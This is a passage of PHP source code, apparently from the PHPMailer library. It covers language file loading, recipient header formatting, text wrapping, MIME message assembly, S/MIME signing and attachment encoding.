2055 'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
2056 'data_not_accepted' => 'SMTP Error: data not accepted.',
2057 'empty_message' => 'Message body empty',
2058 'encoding' => 'Unknown encoding: ',
2059 'execute' => 'Could not execute: ',
2060 'file_access' => 'Could not access file: ',
2061 'file_open' => 'File Error: Could not open file: ',
2062 'from_failed' => 'The following From address failed: ',
2063 'instantiate' => 'Could not instantiate mail function.',
2064 'invalid_address' => 'Invalid address: ',
2065 'mailer_not_supported' => ' mailer is not supported.',
2066 'provide_address' => 'You must provide at least one recipient email address.',
2067 'recipients_failed' => 'SMTP Error: The following recipients failed: ',
2068 'signing' => 'Signing Error: ',
2069 'smtp_connect_failed' => 'SMTP connect() failed.',
2070 'smtp_error' => 'SMTP server error: ',
2071 'variable_set' => 'Cannot set or reset variable: ',
2072 'extension_missing' => 'Extension missing: '
2073 );
2074 if (empty($lang_path)) {
2075 // Calculate an absolute path so it can work if CWD is not here
2076 $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
2077 }
2078 //Validate $langcode
2079 if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
2080 $langcode = 'en';
2081 }
2082 $foundlang = true;
2083 $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
2084 // There is no English translation file
2085 if ($langcode != 'en') {
2086 // Make sure language file path is readable
2087 if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
2088 $foundlang = false;
2089 } else {
2090 // Overwrite language-specific strings.
2091 // This way we'll never have missing translation keys.
2092 $foundlang = include $lang_file;
2093 }
2094 }
2095 $this->language = $PHPMAILER_LANG;
2096 return (boolean)$foundlang; // Returns false if language not found
2097 }
2098
2099 /**
2100 * Get the array of strings for the current language.
2101 * @return array
2102 */
2103 public function getTranslations()
2104 {
2105 return $this->language;
2106 }
2107
2108 /**
2109 * Create recipient headers.
2110 * @access public
2111 * @param string $type
2112 * @param array $addr An array of recipient,
2113 * where each recipient is a 2-element indexed array with element 0 containing an address
2114 * and element 1 containing a name, like:
2115 * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
2116 * @return string
2117 */
2118 public function addrAppend($type, $addr)
2119 {
2120 $addresses = array();
2121 foreach ($addr as $address) {
2122 $addresses[] = $this->addrFormat($address);
2123 }
2124 return $type . ': ' . implode(', ', $addresses) . $this->LE;
2125 }
2126
2127 /**
2128 * Format an address for use in a message header.
2129 * @access public
2130 * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
2131 * like array('joe@example.com', 'Joe User')
2132 * @return string
2133 */
2134 public function addrFormat($addr)
2135 {
2136 if (empty($addr[1])) { // No name provided
2137 return $this->secureHeader($addr[0]);
2138 } else {
2139 return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
2140 $addr[0]
2141 ) . '>';
2142 }
2143 }
2144
2145 /**
2146 * Word-wrap message.
2147 * For use with mailers that do not automatically perform wrapping
2148 * and for quoted-printable encoded messages.
2149 * Original written by philippe.
2150 * @param string $message The message to wrap
2151 * @param integer $length The line length to wrap to
2152 * @param boolean $qp_mode Whether to run in Quoted-Printable mode
2153 * @access public
2154 * @return string
2155 */
2156 public function wrapText($message, $length, $qp_mode = false)
2157 {
2158 if ($qp_mode) {
2159 $soft_break = sprintf(' =%s', $this->LE);
2160 } else {
2161 $soft_break = $this->LE;
2162 }
2163 // If utf-8 encoding is used, we will need to make sure we don't
2164 // split multibyte characters when we wrap
2165 $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
2166 $lelen = strlen($this->LE);
2167 $crlflen = strlen(self::CRLF);
2168
2169 $message = $this->fixEOL($message);
2170 //Remove a trailing line break
2171 if (substr($message, -$lelen) == $this->LE) {
2172 $message = substr($message, 0, -$lelen);
2173 }
2174
2175 //Split message into lines
2176 $lines = explode($this->LE, $message);
2177 //Message will be rebuilt in here
2178 $message = '';
2179 foreach ($lines as $line) {
2180 $words = explode(' ', $line);
2181 $buf = '';
2182 $firstword = true;
2183 foreach ($words as $word) {
2184 if ($qp_mode and (strlen($word) > $length)) {
2185 $space_left = $length - strlen($buf) - $crlflen;
2186 if (!$firstword) {
2187 if ($space_left > 20) {
2188 $len = $space_left;
2189 if ($is_utf8) {
2190 $len = $this->utf8CharBoundary($word, $len);
2191 } elseif (substr($word, $len - 1, 1) == '=') {
2192 $len--;
2193 } elseif (substr($word, $len - 2, 1) == '=') {
2194 $len -= 2;
2195 }
2196 $part = substr($word, 0, $len);
2197 $word = substr($word, $len);
2198 $buf .= ' ' . $part;
2199 $message .= $buf . sprintf('=%s', self::CRLF);
2200 } else {
2201 $message .= $buf . $soft_break;
2202 }
2203 $buf = '';
2204 }
2205 while (strlen($word) > 0) {
2206 if ($length <= 0) {
2207 break;
2208 }
2209 $len = $length;
2210 if ($is_utf8) {
2211 $len = $this->utf8CharBoundary($word, $len);
2212 } elseif (substr($word, $len - 1, 1) == '=') {
2213 $len--;
2214 } elseif (substr($word, $len - 2, 1) == '=') {
2215 $len -= 2;
2216 }
2217 $part = substr($word, 0, $len);
2218 $word = substr($word, $len);
2219
2220 if (strlen($word) > 0) {
2221 $message .= $part . sprintf('=%s', self::CRLF);
2222 } else {
2223 $buf = $part;
2224 }
2225 }
2226 } else {
2227 $buf_o = $buf;
2228 if (!$firstword) {
2229 $buf .= ' ';
2230 }
2231 $buf .= $word;
2232
2233 if (strlen($buf) > $length and $buf_o != '') {
2234 $message .= $buf_o . $soft_break;
2235 $buf = $word;
2236 }
2237 }
2238 $firstword = false;
2239 }
2240 $message .= $buf . self::CRLF;
2241 }
2242
2243 return $message;
2244 }
2245
2246 /**
2247 * Find the last character boundary prior to $maxLength in a utf-8
2248 * quoted-printable encoded string.
2249 * Original written by Colin Brown.
2250 * @access public
2251 * @param string $encodedText utf-8 QP text
2252 * @param integer $maxLength Find the last character boundary prior to this length
2253 * @return integer
2254 */
2255 public function utf8CharBoundary($encodedText, $maxLength)
2256 {
2257 $foundSplitPos = false;
2258 $lookBack = 3;
2259 while (!$foundSplitPos) {
2260 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2261 $encodedCharPos = strpos($lastChunk, '=');
2262 if (false !== $encodedCharPos) {
2263 // Found start of encoded character byte within $lookBack block.
2264 // Check the encoded byte value (the 2 chars after the '=')
2265 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2266 $dec = hexdec($hex);
2267 if ($dec < 128) {
2268 // Single byte character.
2269 // If the encoded char was found at pos 0, it will fit
2270 // otherwise reduce maxLength to start of the encoded char
2271 if ($encodedCharPos > 0) {
2272 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2273 }
2274 $foundSplitPos = true;
2275 } elseif ($dec >= 192) {
2276 // First byte of a multi byte character
2277 // Reduce maxLength to split at start of character
2278 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2279 $foundSplitPos = true;
2280 } elseif ($dec < 192) {
2281 // Middle byte of a multi byte character, look further back
2282 $lookBack += 3;
2283 }
2284 } else {
2285 // No encoded character found
2286 $foundSplitPos = true;
2287 }
2288 }
2289 return $maxLength;
2290 }
2291
2292 /**
2293 * Apply word wrapping to the message body.
2294 * Wraps the message body to the number of chars set in the WordWrap property.
2295 * You should only do this to plain-text bodies as wrapping HTML tags may break them.
2296 * This is called automatically by createBody(), so you don't need to call it yourself.
2297 * @access public
2298 * @return void
2299 */
2300 public function setWordWrap()
2301 {
2302 if ($this->WordWrap < 1) {
2303 return;
2304 }
2305
2306 switch ($this->message_type) {
2307 case 'alt':
2308 case 'alt_inline':
2309 case 'alt_attach':
2310 case 'alt_inline_attach':
2311 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
2312 break;
2313 default:
2314 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
2315 break;
2316 }
2317 }
2318
2319 /**
2320 * Assemble message headers.
2321 * @access public
2322 * @return string The assembled headers
2323 */
2324 public function createHeader()
2325 {
2326 $result = '';
2327
2328 $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);
2329
2330 // To be created automatically by mail()
2331 if ($this->SingleTo) {
2332 if ($this->Mailer != 'mail') {
2333 foreach ($this->to as $toaddr) {
2334 $this->SingleToArray[] = $this->addrFormat($toaddr);
2335 }
2336 }
2337 } else {
2338 if (count($this->to) > 0) {
2339 if ($this->Mailer != 'mail') {
2340 $result .= $this->addrAppend('To', $this->to);
2341 }
2342 } elseif (count($this->cc) == 0) {
2343 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
2344 }
2345 }
2346
2347 $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
2348
2349 // sendmail and mail() extract Cc from the header before sending
2350 if (count($this->cc) > 0) {
2351 $result .= $this->addrAppend('Cc', $this->cc);
2352 }
2353
2354 // sendmail and mail() extract Bcc from the header before sending
2355 if ((
2356 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
2357 )
2358 and count($this->bcc) > 0
2359 ) {
2360 $result .= $this->addrAppend('Bcc', $this->bcc);
2361 }
2362
2363 if (count($this->ReplyTo) > 0) {
2364 $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
2365 }
2366
2367 // mail() sets the subject itself
2368 if ($this->Mailer != 'mail') {
2369 $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
2370 }
2371
2372 // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
2373 // https://tools.ietf.org/html/rfc5322#section-3.6.4
2374 if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
2375 $this->lastMessageID = $this->MessageID;
2376 } else {
2377 $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
2378 }
2379 $result .= $this->headerLine('Message-ID', $this->lastMessageID);
2380 if (!is_null($this->Priority)) {
2381 $result .= $this->headerLine('X-Priority', $this->Priority);
2382 }
2383 if ($this->XMailer == '') {
2384 $result .= $this->headerLine(
2385 'X-Mailer',
2386 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
2387 );
2388 } else {
2389 $myXmailer = trim($this->XMailer);
2390 if ($myXmailer) {
2391 $result .= $this->headerLine('X-Mailer', $myXmailer);
2392 }
2393 }
2394
2395 if ($this->ConfirmReadingTo != '') {
2396 $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
2397 }
2398
2399 // Add custom headers
2400 foreach ($this->CustomHeader as $header) {
2401 $result .= $this->headerLine(
2402 trim($header[0]),
2403 $this->encodeHeader(trim($header[1]))
2404 );
2405 }
2406 if (!$this->sign_key_file) {
2407 $result .= $this->headerLine('MIME-Version', '1.0');
2408 $result .= $this->getMailMIME();
2409 }
2410
2411 return $result;
2412 }
2413
2414 /**
2415 * Get the message MIME type headers.
2416 * @access public
2417 * @return string
2418 */
2419 public function getMailMIME()
2420 {
2421 $result = '';
2422 $ismultipart = true;
2423 switch ($this->message_type) {
2424 case 'inline':
2425 $result .= $this->headerLine('Content-Type', 'multipart/related;');
2426 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2427 break;
2428 case 'attach':
2429 case 'inline_attach':
2430 case 'alt_attach':
2431 case 'alt_inline_attach':
2432 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
2433 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2434 break;
2435 case 'alt':
2436 case 'alt_inline':
2437 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
2438 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
2439 break;
2440 default:
2441 // Catches case 'plain': and case '':
2442 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
2443 $ismultipart = false;
2444 break;
2445 }
2446 // RFC1341 part 5 says 7bit is assumed if not specified
2447 if ($this->Encoding != '7bit') {
2448 // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
2449 if ($ismultipart) {
2450 if ($this->Encoding == '8bit') {
2451 $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
2452 }
2453 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
2454 } else {
2455 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
2456 }
2457 }
2458
2459 if ($this->Mailer != 'mail') {
2460 $result .= $this->LE;
2461 }
2462
2463 return $result;
2464 }
2465
2466 /**
2467 * Returns the whole MIME message.
2468 * Includes complete headers and body.
2469 * Only valid post preSend().
2470 * @see PHPMailer::preSend()
2471 * @access public
2472 * @return string
2473 */
2474 public function getSentMIMEMessage()
2475 {
2476 return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
2477 }
2478
2479 /**
2480 * Create unique ID
2481 * @return string
2482 */
2483 protected function generateId() {
2484 return md5(uniqid(time()));
2485 }
2486
2487 /**
2488 * Assemble the message body.
2489 * Returns an empty string on failure.
2490 * @access public
2491 * @throws phpmailerException
2492 * @return string The assembled message body
2493 */
2494 public function createBody()
2495 {
2496 $body = '';
2497 //Create unique IDs and preset boundaries
2498 $this->uniqueid = $this->generateId();
2499 $this->boundary[1] = 'b1_' . $this->uniqueid;
2500 $this->boundary[2] = 'b2_' . $this->uniqueid;
2501 $this->boundary[3] = 'b3_' . $this->uniqueid;
2502
2503 if ($this->sign_key_file) {
2504 $body .= $this->getMailMIME() . $this->LE;
2505 }
2506
2507 $this->setWordWrap();
2508
2509 $bodyEncoding = $this->Encoding;
2510 $bodyCharSet = $this->CharSet;
2511 //Can we do a 7-bit downgrade?
2512 if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
2513 $bodyEncoding = '7bit';
2514 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2515 $bodyCharSet = 'us-ascii';
2516 }
2517 //If lines are too long, and we're not already using an encoding that will shorten them,
2518 //change to quoted-printable transfer encoding for the body part only
2519 if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
2520 $bodyEncoding = 'quoted-printable';
2521 }
2522
2523 $altBodyEncoding = $this->Encoding;
2524 $altBodyCharSet = $this->CharSet;
2525 //Can we do a 7-bit downgrade?
2526 if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
2527 $altBodyEncoding = '7bit';
2528 //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
2529 $altBodyCharSet = 'us-ascii';
2530 }
2531 //If lines are too long, and we're not already using an encoding that will shorten them,
2532 //change to quoted-printable transfer encoding for the alt body part only
2533 if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
2534 $altBodyEncoding = 'quoted-printable';
2535 }
2536 //Use this as a preamble in all multipart message types
2537 $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
2538 switch ($this->message_type) {
2539 case 'inline':
2540 $body .= $mimepre;
2541 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2542 $body .= $this->encodeString($this->Body, $bodyEncoding);
2543 $body .= $this->LE . $this->LE;
2544 $body .= $this->attachAll('inline', $this->boundary[1]);
2545 break;
2546 case 'attach':
2547 $body .= $mimepre;
2548 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
2549 $body .= $this->encodeString($this->Body, $bodyEncoding);
2550 $body .= $this->LE . $this->LE;
2551 $body .= $this->attachAll('attachment', $this->boundary[1]);
2552 break;
2553 case 'inline_attach':
2554 $body .= $mimepre;
2555 $body .= $this->textLine('--' . $this->boundary[1]);
2556 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2557 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2558 $body .= $this->LE;
2559 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
2560 $body .= $this->encodeString($this->Body, $bodyEncoding);
2561 $body .= $this->LE . $this->LE;
2562 $body .= $this->attachAll('inline', $this->boundary[2]);
2563 $body .= $this->LE;
2564 $body .= $this->attachAll('attachment', $this->boundary[1]);
2565 break;
2566 case 'alt':
2567 $body .= $mimepre;
2568 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2569 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2570 $body .= $this->LE . $this->LE;
2571 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
2572 $body .= $this->encodeString($this->Body, $bodyEncoding);
2573 $body .= $this->LE . $this->LE;
2574 if (!empty($this->Ical)) {
2575 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
2576 $body .= $this->encodeString($this->Ical, $this->Encoding);
2577 $body .= $this->LE . $this->LE;
2578 }
2579 $body .= $this->endBoundary($this->boundary[1]);
2580 break;
2581 case 'alt_inline':
2582 $body .= $mimepre;
2583 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2584 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2585 $body .= $this->LE . $this->LE;
2586 $body .= $this->textLine('--' . $this->boundary[1]);
2587 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2588 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2589 $body .= $this->LE;
2590 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2591 $body .= $this->encodeString($this->Body, $bodyEncoding);
2592 $body .= $this->LE . $this->LE;
2593 $body .= $this->attachAll('inline', $this->boundary[2]);
2594 $body .= $this->LE;
2595 $body .= $this->endBoundary($this->boundary[1]);
2596 break;
2597 case 'alt_attach':
2598 $body .= $mimepre;
2599 $body .= $this->textLine('--' . $this->boundary[1]);
2600 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2601 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2602 $body .= $this->LE;
2603 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2604 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2605 $body .= $this->LE . $this->LE;
2606 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
2607 $body .= $this->encodeString($this->Body, $bodyEncoding);
2608 $body .= $this->LE . $this->LE;
2609 $body .= $this->endBoundary($this->boundary[2]);
2610 $body .= $this->LE;
2611 $body .= $this->attachAll('attachment', $this->boundary[1]);
2612 break;
2613 case 'alt_inline_attach':
2614 $body .= $mimepre;
2615 $body .= $this->textLine('--' . $this->boundary[1]);
2616 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
2617 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
2618 $body .= $this->LE;
2619 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
2620 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
2621 $body .= $this->LE . $this->LE;
2622 $body .= $this->textLine('--' . $this->boundary[2]);
2623 $body .= $this->headerLine('Content-Type', 'multipart/related;');
2624 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
2625 $body .= $this->LE;
2626 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
2627 $body .= $this->encodeString($this->Body, $bodyEncoding);
2628 $body .= $this->LE . $this->LE;
2629 $body .= $this->attachAll('inline', $this->boundary[3]);
2630 $body .= $this->LE;
2631 $body .= $this->endBoundary($this->boundary[2]);
2632 $body .= $this->LE;
2633 $body .= $this->attachAll('attachment', $this->boundary[1]);
2634 break;
2635 default:
2636 // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
2637 //Reset the `Encoding` property in case we changed it for line length reasons
2638 $this->Encoding = $bodyEncoding;
2639 $body .= $this->encodeString($this->Body, $this->Encoding);
2640 break;
2641 }
2642
2643 if ($this->isError()) {
2644 $body = '';
2645 } elseif ($this->sign_key_file) {
2646 try {
2647 if (!defined('PKCS7_TEXT')) {
2648 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
2649 }
2650 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
2651 $file = tempnam(sys_get_temp_dir(), 'mail');
2652 if (false === file_put_contents($file, $body)) {
2653 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
2654 }
2655 $signed = tempnam(sys_get_temp_dir(), 'signed');
2656 //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
2657 if (empty($this->sign_extracerts_file)) {
2658 $sign = @openssl_pkcs7_sign(
2659 $file,
2660 $signed,
2661 'file://' . realpath($this->sign_cert_file),
2662 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2663 null
2664 );
2665 } else {
2666 $sign = @openssl_pkcs7_sign(
2667 $file,
2668 $signed,
2669 'file://' . realpath($this->sign_cert_file),
2670 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
2671 null,
2672 PKCS7_DETACHED,
2673 $this->sign_extracerts_file
2674 );
2675 }
2676 if ($sign) {
2677 @unlink($file);
2678 $body = file_get_contents($signed);
2679 @unlink($signed);
2680 //The message returned by openssl contains both headers and body, so need to split them up
2681 $parts = explode("\n\n", $body, 2);
2682 $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
2683 $body = $parts[1];
2684 } else {
2685 @unlink($file);
2686 @unlink($signed);
2687 throw new phpmailerException($this->lang('signing') . openssl_error_string());
2688 }
2689 } catch (phpmailerException $exc) {
2690 $body = '';
2691 if ($this->exceptions) {
2692 throw $exc;
2693 }
2694 }
2695 }
2696 return $body;
2697 }
2698
2699 /**
2700 * Return the start of a message boundary.
2701 * @access protected
2702 * @param string $boundary
2703 * @param string $charSet
2704 * @param string $contentType
2705 * @param string $encoding
2706 * @return string
2707 */
2708 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
2709 {
2710 $result = '';
2711 if ($charSet == '') {
2712 $charSet = $this->CharSet;
2713 }
2714 if ($contentType == '') {
2715 $contentType = $this->ContentType;
2716 }
2717 if ($encoding == '') {
2718 $encoding = $this->Encoding;
2719 }
2720 $result .= $this->textLine('--' . $boundary);
2721 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
2722 $result .= $this->LE;
2723 // RFC1341 part 5 says 7bit is assumed if not specified
2724 if ($encoding != '7bit') {
2725 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
2726 }
2727 $result .= $this->LE;
2728
2729 return $result;
2730 }
2731
2732 /**
2733 * Return the end of a message boundary.
2734 * @access protected
2735 * @param string $boundary
2736 * @return string
2737 */
2738 protected function endBoundary($boundary)
2739 {
2740 return $this->LE . '--' . $boundary . '--' . $this->LE;
2741 }
2742
2743 /**
2744 * Set the message type.
2745 * PHPMailer only supports some preset message types, not arbitrary MIME structures.
2746 * @access protected
2747 * @return void
2748 */
2749 protected function setMessageType()
2750 {
2751 $type = array();
2752 if ($this->alternativeExists()) {
2753 $type[] = 'alt';
2754 }
2755 if ($this->inlineImageExists()) {
2756 $type[] = 'inline';
2757 }
2758 if ($this->attachmentExists()) {
2759 $type[] = 'attach';
2760 }
2761 $this->message_type = implode('_', $type);
2762 if ($this->message_type == '') {
2763 //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
2764 $this->message_type = 'plain';
2765 }
2766 }
2767
2768 /**
2769 * Format a header line.
2770 * @access public
2771 * @param string $name
2772 * @param string $value
2773 * @return string
2774 */
2775 public function headerLine($name, $value)
2776 {
2777 return $name . ': ' . $value . $this->LE;
2778 }
2779
2780 /**
2781 * Return a formatted mail line.
2782 * @access public
2783 * @param string $value
2784 * @return string
2785 */
2786 public function textLine($value)
2787 {
2788 return $value . $this->LE;
2789 }
2790
2791 /**
2792 * Add an attachment from a path on the filesystem.
2793 * Never use a user-supplied path to a file!
2794 * Returns false if the file could not be found or read.
2795 * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
2796 * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
2797 * @param string $path Path to the attachment.
2798 * @param string $name Overrides the attachment name.
2799 * @param string $encoding File encoding (see $Encoding).
2800 * @param string $type File extension (MIME) type.
2801 * @param string $disposition Disposition to use
2802 * @throws phpmailerException
2803 * @return boolean
2804 */
2805 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
2806 {
2807 try {
2808 if (!self::isPermittedPath($path) or !@is_file($path)) {
2809 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
2810 }
2811
2812 // If a MIME type is not specified, try to work it out from the file name
2813 if ($type == '') {
2814 $type = self::filenameToType($path);
2815 }
2816
2817 $filename = basename($path);
2818 if ($name == '') {
2819 $name = $filename;
2820 }
2821
2822 $this->attachment[] = array(
2823 0 => $path,
2824 1 => $filename,
2825 2 => $name,
2826 3 => $encoding,
2827 4 => $type,
2828 5 => false, // isStringAttachment
2829 6 => $disposition,
2830 7 => 0
2831 );
2832
2833 } catch (phpmailerException $exc) {
2834 $this->setError($exc->getMessage());
2835 $this->edebug($exc->getMessage());
2836 if ($this->exceptions) {
2837 throw $exc;
2838 }
2839 return false;
2840 }
2841 return true;
2842 }
2843
2844 /**
2845 * Return the array of attachments.
2846 * @return array
2847 */
2848 public function getAttachments()
2849 {
2850 return $this->attachment;
2851 }
2852
2853 /**
2854 * Attach all file, string, and binary attachments to the message.
2855 * Returns an empty string on failure.
2856 * @access protected
2857 * @param string $disposition_type
2858 * @param string $boundary
2859 * @return string
2860 */
2861 protected function attachAll($disposition_type, $boundary)
2862 {
2863 // Return text of body
2864 $mime = array();
2865 $cidUniq = array();
2866 $incl = array();
2867
2868 // Add all attachments
2869 foreach ($this->attachment as $attachment) {
2870 // Check if it is a valid disposition_filter
2871 if ($attachment[6] == $disposition_type) {
2872 // Check for string attachment
2873 $string = '';
2874 $path = '';
2875 $bString = $attachment[5];
2876 if ($bString) {
2877 $string = $attachment[0];
2878 } else {
2879 $path = $attachment[0];
2880 }
2881
2882 $inclhash = md5(serialize($attachment));
2883 if (in_array($inclhash, $incl)) {
2884 continue;
2885 }
2886 $incl[] = $inclhash;
2887 $name = $attachment[2];
2888 $encoding = $attachment[3];
2889 $type = $attachment[4];
2890 $disposition = $attachment[6];
2891 $cid = $attachment[7];
2892 if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
2893 continue;
2894 }
2895 $cidUniq[$cid] = true;
2896
2897 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
2898 //Only include a filename property if we have one
2899 if (!empty($name)) {
2900 $mime[] = sprintf(
2901 'Content-Type: %s; name="%s"%s',
2902 $type,
2903 $this->encodeHeader($this->secureHeader($name)),
2904 $this->LE
2905 );
2906 } else {
2907 $mime[] = sprintf(
2908 'Content-Type: %s%s',
2909 $type,
2910 $this->LE
2911 );
2912 }
2913 // RFC1341 part 5 says 7bit is assumed if not specified
2914 if ($encoding != '7bit') {
2915 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
2916 }
2917
2918 if ($disposition == 'inline') {
2919 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
2920 }
2921
2922 // If a filename contains any of these chars, it should be quoted,
2923 // but not otherwise: RFC2183 & RFC2045 5.1
2924 // Fixes a warning in IETF's msglint MIME checker
2925 // Allow for bypassing the Content-Disposition header totally
2926 if (!(empty($disposition))) {
2927 $encoded_name = $this->encodeHeader($this->secureHeader($name));
2928 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
2929 $mime[] = sprintf(
2930 'Content-Disposition: %s; filename="%s"%s',
2931 $disposition,
2932 $encoded_name,
2933 $this->LE . $this->LE
2934 );
2935 } else {
2936 if (!empty($encoded_name)) {
2937 $mime[] = sprintf(
2938 'Content-Disposition: %s; filename=%s%s',
2939 $disposition,
2940 $encoded_name,
2941 $this->LE . $this->LE
2942 );
2943 } else {
2944 $mime[] = sprintf(
2945 'Content-Disposition: %s%s',
2946 $disposition,
2947 $this->LE . $this->LE
2948 );
2949 }
2950 }
2951 } else {
2952 $mime[] = $this->LE;
2953 }
2954
2955 // Encode as string attachment
2956 if ($bString) {
2957 $mime[] = $this->encodeString($string, $encoding);
2958 if ($this->isError()) {
2959 return '';
2960 }
2961 $mime[] = $this->LE . $this->LE;
2962 } else {
2963 $mime[] = $this->encodeFile($path, $encoding);
2964 if ($this->isError()) {
2965 return '';
2966 }
2967 $mime[] = $this->LE . $this->LE;
2968 }
2969 }
2970 }
2971
2972 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
2973
2974 return implode('', $mime);
2975 }
2976
2977 /**
2978 * Encode a file attachment in requested format.
2979 * Returns an empty string on failure.
2980 * @param string $path The full path to the file
2981 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
2982 * @throws phpmailerException
2983 * @access protected
2984 * @return string
2985 */
2986 protected function encodeFile($path, $encoding = 'base64')
2987 {
2988 try {
2989 if (!self::isPermittedPath($path) or !file_exists($path)) {
2990 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
2991 }
2992 $magic_quotes = false;
2993 if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
2994 $magic_quotes = get_magic_quotes_runtime();
2995 }
2996 if ($magic_quotes) {
2997 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
2998 set_magic_quotes_runtime(false);
2999 } else {
3000 //Doesn't exist in PHP 5.4, but we don't need to check because
3001 //get_magic_quotes_runtime always returns false in 5.4+
3002 //so it will never get here
